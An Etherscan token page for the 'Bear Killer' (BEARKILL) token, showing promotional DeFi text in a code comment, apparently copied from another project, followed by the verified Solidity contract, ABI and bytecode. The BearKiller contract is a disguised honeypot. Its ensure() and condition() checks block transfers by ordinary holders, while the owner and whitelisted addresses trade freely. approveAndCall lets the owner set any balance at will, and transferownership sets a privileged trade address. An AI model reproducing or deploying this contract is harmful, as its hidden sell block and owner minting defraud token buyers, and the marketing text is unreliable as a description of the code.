ETH Price: $3,320.25 (-1.18%)

Token

Bear Killer (BEARKILL)
 

Overview

Max Total Supply

7,000,000,000 BEARKILL

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
MaiCoin 1
Balance
41,605,192.863917378130113088 BEARKILL

Value
$0.00
0x477b8d5ef7c2c42db84deb555419cd817c336b6f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BearKiller

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-07-25
*/

/*
Bear Killer Protocol: Redefining Liquidity Optimization

We recently launched BearKiller Killer v1 with a record time of releasing the dapp in just a month, what started merely as a thought while reading Uniswap v3 blog back in April is now turning into something truly powerful.
Read more about the inception of BearKiller Killer here.
We initially started with the idea of providing users with a dapp that they can use to put their liquidity in the most optimized range.

While we were building this, we realized this feature, while extremely helpful, is not enough.
Even if you provide liquidity in the most optimized range
You still need to constantly monitor it to avoid getting out of range and losing fees.
If it’s still in range but not optimized you risk losing a lot of fees.
The differences between small optimizations can be huge.
Let’s take an example.
Imagine you are choosing whether to concentrate liquidity to the
DAI/USDT pair in the 0.99–1.01 price range, or the 0.9–1.1 range.
The former range is 10 times more efficient, meaning that if the price spends more than even 20% of its time in that range, that’s a better place to allocate.
For every optimization to the range or getting the price in range, the user needs to send a transaction, which yes, you guessed it right means spending more ether on gas fees which honestly no one wants to.
Imagine a platform where on one click you can add liquidity with
No more manual oversight.
No more worrying about constant optimization.
No more spending loads of gas fees for each optimization.
This is what Bear Killer Protocol is all about.
The Rebranding Of BearKiller Killer
With these exciting features, we felt that there is a need to rebrand for positioning ourselves as the first universal automated liquidity optimizer protocol.
The Logo

The logo represents our Bear Killer protocol which will allow liquidity providers to always have their liquidity in the most optimal position.
The upward direction shows that their capital will increase in the same upward trajectory over time.
The Website
The Uniplot website will be launched on June 1.
Here is a sneak peek at what it would look like.

The BEAR KILLER Token
The BEAR KILLER token is a governance/utility token that will be initially distributed to early adopters and can be bought through public/private sale.
The BEAR KILLER token is designed in a way that allows the token to be backed by hundreds of tokens. (More on this later)
It will attain further utility with the Bear Killer protocol as new features are implemented.
More info on token sale will be announced in the coming weeks.


A new standard for AMMs
The evolution of the protocol
Since its inception in 2018 by Uniswap, automated market makers (AMMs) have played a pivotal role in the emergence of decentralized finance. They have established new revenue streams for numerous users and offered them the security and convenience of trading through their own crypto wallets. To date they have amassed over $200B in trading volume and have rivaled some of the largest centralized exchanges in the industry. Uniswap V3, represents an evolution of this concept, as it introduces new features to improve the efficiency of the platform and ultimately increase the earning potential of the users who participate on it.
Greater control and precision
The centerpiece feature of V3 is how it affords liquidity providers with more precise control over how they allocate their capital. For the first time, liquidity can be allocated to specific price ranges of the market maker’s choosing. This feature which has been coined as “Concentrated Liquidity” has a two-fold benefit, one; increased market depth for tokens in pools and second, a reduction in slippage for traders. Furthermore, by concentrating the liquidity into a smaller range it will increase its capital efficiency when it is being used to sustain trades. Resulting in more fees being generated for an LP with a smaller liquidity position, than compared to V2.
To gain a better understanding of the benefits of Concentrated Liquidity, it is helpful to compare it to the structure of the previous Uniswap V2 liquidity provisioning. In V2, liquidity was distributed along an X * Y = K price curve, where buying and selling into the pool shifts the LPs position on the X * Y = K curve. The even distribution along the entire curve allows for trading across the whole price range from zero to infinity. The major drawback was that it resulted in a lot of unused liquidity if most of the trading only occurred in a narrow price range.


Liquidity Concentration
Rather than distributing liquidity along the entire curve, V3 segments the curve into straight lines with a limited length. These smaller straight lines represent the price ranges chosen by the LPs and where all the V3 liquidity will sit. A long line yields better trading price coverage, and a short line yields better fees generated per amount of liquidity provided. By segmenting the curve, it results in the full utilization of the liquidity as the price moves along the straight line, giving LP’s far greater capital efficiency and very low unused liquidity.
AMM style limit orders
While AMMs have seen an explosion in growth in recent times, the lack of Limit Orders have been a sticking point for many traders. A limit order is an order that will only execute at a predetermined price, it allows traders to buy at a lower or sell at a higher price than the current market price. This key feature has distinguished the centralized exchanges that use order books from the decentralize exchanges that are AMMs. Now, V3 has introduced a feature it coins as “Range Orders” to level the playing field between the two mediums of exchange.
Range Orders are not a one-to-one representation of Limit Orders, but they reach parity in certain areas. Traders who want to sell their tokens for another at a specific price point can provide their single asset as liquidity in a targeted price range above or below the market price. Once the market price shifts, and it enters the targeted range, the deposited tokens will be swapped for other tokens in the pool smoothly along the price curve.
Traders can now wait for the shifting market to trigger their desired tokens swaps similarly to the traditional Limit Orders, but with the added benefit of also earning fees as the trading price fluctuates within their targeted range. However, due to the unpredictable nature of the markets, the swapped asset must be removed before the price reverts back to above or below the targeted range. Else, it will be swapped back into the original deposited asset.
More sophisticated strategies
Having the ability to target specific price ranges opens the possibility for LPs to employ different strategies to maximize the earning potential of their liquidity positions. For one, LPs may choose to target a single wide price range for a moderate gain in capital efficiency to lower their risk to price fluctuations. Secondly, LPs might choose to target a single narrow price range for a large gain in capital efficiency while they increase their exposure to risk. Or finally, LPs may decide to target multiple price ranges within the same pool to increase their coverage to multiple price points while spreading out the risk.
Another area where V3 takes a step forward pertains to the fees that LPs accumulate. There are now multiple fee tiers to choose from, rather than the fixed 0.3% that was established in Uniswap V1. These flexible fees will result in more appropriate compensation to LPs in accordance to the risk of their liquidity position. To give a real word example, if a user were to provide liquidity to a low volatility asset such as a stable coin, then they might opt for the low fee tier to encourage more trading of the token. Whereas, with a high volatility asset such as a newly launched token, the user may opt for the high fee tier to offset the risk of holding the token.
The additional features of V3 will ultimately breed more competition and gamification, which is a good thing for users on the platform. Market makers will be encouraged to compete to offer the best rates in order to profit. Traders will be given the opportunity to distinguish themselves from the rest by using their skill and know-how of the
markets. All in all, it will result in greater trading volume on the platform and a shot in the arm for the whole decentralized finance sector.
With great power comes great responsibility
For proficient users, their earning potential on V3 will be much higher than that of V2. On the flip side, the margin of error for those who are not as skilled will in fact be smaller on the new protocol. For instance, with “Concentrated Liquidity” there is a real possibility of far more exposure to “Impermanent Loss”. Which is when a user provides liquidity to a pool and the market price of the asset diverges from the initial price at the time of deposit. At this point, arbitrageurs become incentivized to rebalance the pool and effectively take profit from the LPs. Concentrated liquidity increases the likelihood that the market price will move away from it and increase the composition of the LPs holdings into the weaker asset.
There is also a similar story with the “Range Orders”. As it offers no guarantee that once the market price of an asset reaches the trader’s target price range it will be swapped over for the other asset. Therefore, the responsibility is still on the trader to judge the correct time to remove their asset, to successfully perform this quasi-Limit Order. This does not diminish Range Orders as a feature, but it highlights how the users who keep up to date with the markets will be able to utilize it to its full potential.
Opening the gates for new platforms
As much progress as Uniswap V3 has made over V2, it is still not the finished article. On the one hand, it adds new tools to the arsenal of traders to help maximize profits and lower their risk. While on the other hand, it adds an extra layer of complexity to tasks that were straightforward on V2.This extra complexity reduces the margin of error and potentially can lead to unfavorable situations for some users. The good news is that often in this industry, the launch of one protocol or platform can pave the way for new projects/services to be built on top to improve the user experience. This very well may be the case with V3, as it could spawn services that can help clients to optimize their strategies while managing the complexity on their behalf.


What exactly is BearKiller Killer?
Note: This excerpt represents the first part of the article series: ‘Explaining the Bear Killer Protocol”. As we progress through this series, we will explain more about the Bear Killer protocol from its technicalities, additional features, and existing framework to the broader vision that it aims to achieve.
The next article in particular will discuss the technical aspect of the protocol along with some of its game-changing features.
Let’s Start from the beginning
The radical innovation in the blockchain industry continues to propel as Uniswap- one of the top decentralized exchanges operating in the DeFi space launches version 3.0 of its protocol. Uniswap v3 allows liquidity providers to concentrate their capital in custom price ranges.
This not only ensures effective utilization of the liquidity invested but also offers greater control to liquidity providers in allocating their capital.

In addition to that, the amount of capital at risk is far less as compared to Uniswap v2 since the price ranges are narrow and there is a better chance of getting a greater proportion of the overall liquidity utilized in terms of retail trades.
Prior to the launch of Uniswap v3, liquidity providers had to spread their liquidity over the entire price curve from zero to infinity which not only resulted in lesser percentage returns but also required higher capital.

The inception of Uniswap v3 has provided a whole new avenue of yield farming to liquidity providers. Through the concentrated liquidity mechanism, liquidity providers can earn significantly higher amounts of returns on their investments while having full control over the deployment of their funds.
The idea
There is no denying the fact that the concept of ‘Concentrated Liquidity’ promises more enticing returns to liquidity providers than the previous version of the protocol.
However, ‘there is no such thing as free lunch’, to achieve these attractive returns liquidity providers have to constantly oversee and manage their capital.

They have to readjust their positions by adding or removing liquidity every time the active price falls out of the concentrated liquidity range. The readjustment not only requires constant manual oversight but it also involves high transaction costs and with regular price fluctuations in the market, liquidity providers will still have to lock large amounts of capital to keep earning fees.
The only way liquidity providers on Uniswap v3 can achieve these attractive returns is when someone else manages their capital for them and this is where our protocol comes into play.
Here comes BearKiller Killer
BearKiller Killer saves liquidity providers from the hassle of manual oversight through automated liquidity optimization and management.
The aim of the Bear Killer protocol is to ensure maximum capital efficiency by allocating the right mix of capital to each of Uniswap’s liquidity pools existing on its platform.
The challenge with concentrated liquidity is keeping it in the active price range so that it consistently earns fees through trades. The more time the capital is locked in the active price range the more trading fees it earns.
If price fluctuates and capital goes out of the price range it does not earn any fees. BearKiller Killer solves this problem by allocating capital to the narrowest price range to earn the maximum amount of fees. Even minor optimizations in price ranges can impose drastic changes in terms of capital efficiency.
Apart from offering optimized liquidity positions, the Bear Killer protocol also auto-rebalances liquidity in appropriate price ranges to cater to the changing market prices.
In addition to that, the transaction cost involved with readjusting liquidity is also disbursed by the protocol so liquidity providers don't have to worry about the increasing gas costs on Ethereum.
Universal Liquidity Optimization
Uniswap v3 has introduced a breakthrough design improvement in the form of ‘Concentrated liquidity’ in the automated market-making (AMM) ecosystem. With the traction that liquidity farming has gained within a month, we can assume other decentralized exchanges following the same model in the near future.
For this purpose, we introduce the concept of universal liquidity optimization which indicates that the protocol will be compatible with all other AMM’s that may adopt the concentration liquidity mechanisms in future.
TLDR
BearKiller Killer serves as an investment manager for all the liquidity providers who want to invest their capital in Uniswap v3 while avoiding manual oversight and other added complexities of the protocol.
With BearKiller Killer, these liquidity providers can deposit their assets, choose the desired pair of tokens they want to provide liquidity for and the protocol will deploy their capital accordingly. Once the capital is deployed, the protocol continuously optimizes liquidity positions and automatically rebalances them as per the market movements and risk appetite of the liquidity provider.

The Bear Killer Index Fund

Note: This excerpt is the third article of the series “Explaining the Bear Killer Protocol”. Read the previous article “A Nosedive into Bear Killer Protocol”.
In the last article, we revealed that the protocol’s earnings get sent to an Index Fund, which maintains the value of the native token.
We can now explore its inner mechanism to understand how this Index Fund encapsulates the goal of BearKiller Killer and why it is a crucial feature.
Furthermore, we will also expand on how the holders of the $BEAR KILLER tokens can make their voices heard and influence key aspects of the protocol.
Finally, we will cover the possible strategies of malicious users would be and how the protocol will deal with them.
Index Fund
What is the index fund, and how does it work?
The index fund will serve as a repository for the fees earned by the BearKiller Killer protocol, its primary purpose will be to underpin the value of the $BEAR KILLER token.
It will be a separate smart contract that is connected to the protocol to accumulate tokens. The more fees the protocol generates, the more the Index Fund will accumulate tokens and grow in value. Users will then be able to interact with it directly to access the tokens held within it.
Here are how the two stages of the Index Fund will work:
Accumulating tokens (protocol à Index Fund):
Tokens are accumulated into the Index Fund from the protocol when LPs withdraw their earnings(fees), these can be in two forms:
1. Vault fares:
When an LP wants to withdraw the fees generated while staying in the Bear Killer protocol, they’ll have two options.
a) When an LP chooses to withdraw their LP fee tokens, there will be a 2% fare on the fees generated (current rate, which can be changed through governance) of their fee tokens will be sent to the Index Fund.

b) When an LP chooses to receive BEAR KILLER tokens equivalent in dollar value to their LP fee tokens instead, there will be no fare on the LP and all their LP fee tokens will be sent to the Index Fund.
2. Burning BEAR KILLER tokens (Index Fund à User):
The only way for users to access the tokens held in the Index Fund is by burning their BEAR KILLER tokens.
A percentage of the BEAR KILLER token supply can be burned to access the same percentage of tokens in the index fund supply.
Example
The index fund holds $10m worth of various tokens accumulated from “Vault fares” and “LP fees”.
These tokens are: $1m LINK, $3m UNI, $6m USDC.
“John” would like to access these tokens in exchange for his BEAR KILLER tokens, of which he holds 0.1% of the supply.
If John interacts with the index fund and burns all his tokens, he will be eligible to receive 0.1% of the supply of the index fund ($10,000 worth of various tokens).
He would receive: $1000 LINK, $3000 UNI, $6000 USDC
How will it affect the BEAR KILLER token price?
The 1:1 ratio of burning BEAR KILLER to receive Index Fund tokens will present opportunities for arbitraging between the index fund and exchanges, as the value and price diverge between the two.
If the value of BEAR KILLER tokens (value of total supply) decreases relative to the total value of the Index Fund, then holders will be incentivized to burn their BEAR KILLER at a 1:1 ratio to receive Index Fund tokens with a higher dollar value. Moreover, the token’s value will not be able to fall below that of the underlying assets in the Index fund.
As long as there is a delta between the two values, the burning will continue until the BEAR KILLER token value matches that of the Index Fund. Furthermore, this ensures that a rising Index Fund will also lift the BEAR KILLER token’s value by the same mechanism. Essentially, this will allow the Index Fund to become a collateralized backstop for the BEAR KILLER token, as its price will become pegged to it.
Example
Initially, the total value of the Index Fund and the market cap of BEAR KILLER are equal at $20M
The Index Fund accumulates tokens and grows in value to $15M in a short period of time
“Sarah” wants to take advantage of this delta and profit from it, she holds 0.1% of the supply of BEAR KILLER worth $10,000
If she interacts with the Index Fund and burns all her tokens, she will receive 0.1% of the Index Fund tokens worth $15,000
In theory, as more people take advantage of this difference, the continuous burning of the BEAR KILLER supply and the reduction in the Index Fund supply will cause both values to reach parity.
Consequently, raising the value of BEAR KILLER from its initial position.
What is the reasoning for an Index fund?
The index fund is another feature that separates BearKiller Killer from other liquidity optimizers. It aligns the incentives of the protocol with its users, as the value of its native token will be dependent on the success of the protocol.
The more people that use BearKiller Killer to provide liquidity, the more the index fund will accumulate tokens and grow in value. This, in turn, will reinforce the price of $BEAR KILLER token as the token burning will bolster its value proposition.
Positive feedback loop
Consequently, the Index fund can be thought of as the final piece in a positive feedback loop. The success of the protocol through high usage and fee generation will be captured and used to directly impact and increase the value of the native token.
Subsequently, a valuable BEAR KILLER token will facilitate better rewards for the “Captains” and more LPs choosing to receive the native token as their earnings, this, in turn, will drive up the usage of the protocol.
Let’s talk about Governance
What can be voted on and how much say will voters have?
Holding the BEAR KILLER token also grants users the opportunity to take part in the “Decentralized Governance” of BearKiller Killer. With their tokens they can vote on key aspects, such as changing the “Vault Fare”, changing the reward percentages for “Captains” or even making tweaks to how the protocol readjusts liquidity ranges.
There is no minimum amount required for voting, even holding one BEAR KILLER token will be sufficient.
BEAR KILLER holders will also be able to vote on the future direction of the protocol, e.g. choosing between two development paths to go down or the implementation of one feature over another. In addition to this, there will also be a foundation fund making up around 35% of the supply and its resources will be at the full discretion of the voters.
All these measures ensure that the BearKiller Killer protocol will ultimately be indebted to the holders of the token and not any other third parties.
Safeguarding the protocol
Possible attack vectors
In order to be sustainable, the protocol is set up in a way where only those who put something in can get something back in return. The universal and permissionless nature of BearKiller Killer means that anyone can deploy a Vault, contribute to its maintenance, and be rewarded for their efforts without needing to be whitelisted. However, this does open up the possibility for a minority who are looking for loopholes in the system to get back more than they put in.
This can be observed in malicious users who can try to drain the “Concentration Incentives” in the following way:
1. Deploy a Vault for a token pair with a very low amount of liquidity
2. Cause a drastic price change in that liquidity pool, with a single trade on Uniswap
3. When the price fluctuates greatly (by 30–40%), initiate a readjustment transaction on BearKiller Killer
4. Profit from the BEAR KILLER rewards for bringing the liquidity back into the optimal range
Possible attack prevention
The prevention is simple, we will always make sure that the premium is always less than the gas fees of a swap.
If a malicious user attempts to manipulate the price of an asset by sending it out of range through a swap transaction and then calls a readjustment function to alter the price range, he would have to pay more in terms of gas fees than the amount of premium he earns for playing a similar role to that of a captain.
Although the protocol offers anyone the ability to provide liquidity and deploy a vault to earn trading fees, it only enables the $BEAR KILLER token fee withdrawal option to whitelisted pairs to prevent worthless projects from entering the system.
The team will whitelist top token pairs at launch and in the future, $BEAR KILLER token holders can vote to whitelist any additional token pairs.
What we have learned so far
The Index Fund amplifies the success of the BearKiller Killer protocol as it captures the value created from people using the protocol and returns it to the token that powers the ecosystem. The protocol employs a governance model that ensures that its token holders will be at the front and center of future developments and will also have power over changing the current decisions.
The BearKiller Killer protocol also takes security very seriously and has contingency plans in place for possible attack vectors and penalties for “bad actors” that benefit the protocol.
In the following article, we will look into an exciting new feature that is only possible with V3 and coined by the BearKiller Killer team as “Flash Liquidity” and how it unlocks new avenues for generating income.
Stay tuned for more.
*/
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract BearKiller {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

6080604052604051620012bd380380620012bd833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b838201915060208201858111156200006157600080fd5b82518660018202830111640100000000821117156200007f57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000b557808201518184015260208101905062000098565b50505050905090810190601f168015620000e35780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010757600080fd5b838201915060208201858111156200011e57600080fd5b82518660018202830111640100000000821117156200013c57600080fd5b8083526020830192505050908051906020019080838360005b838110156200017257808201518184015260208101905062000155565b50505050905090810190601f168015620001a05780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260099080519060200190620001cc929190620002eb565b5081600a9080519060200190620001e5929190620002eb565b506012600a0a810260088190555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040518082815260200191505060405180910390a35050506200039a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200032e57805160ff19168380011785556200035f565b828001600101855582156200035f579182015b828111156200035e57825182559160200191906001019062000341565b5b5090506200036e919062000372565b5090565b6200039791905b808211156200039357600081600090555060010162000379565b5090565b90565b610f1380620003aa6000396000f3fe60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360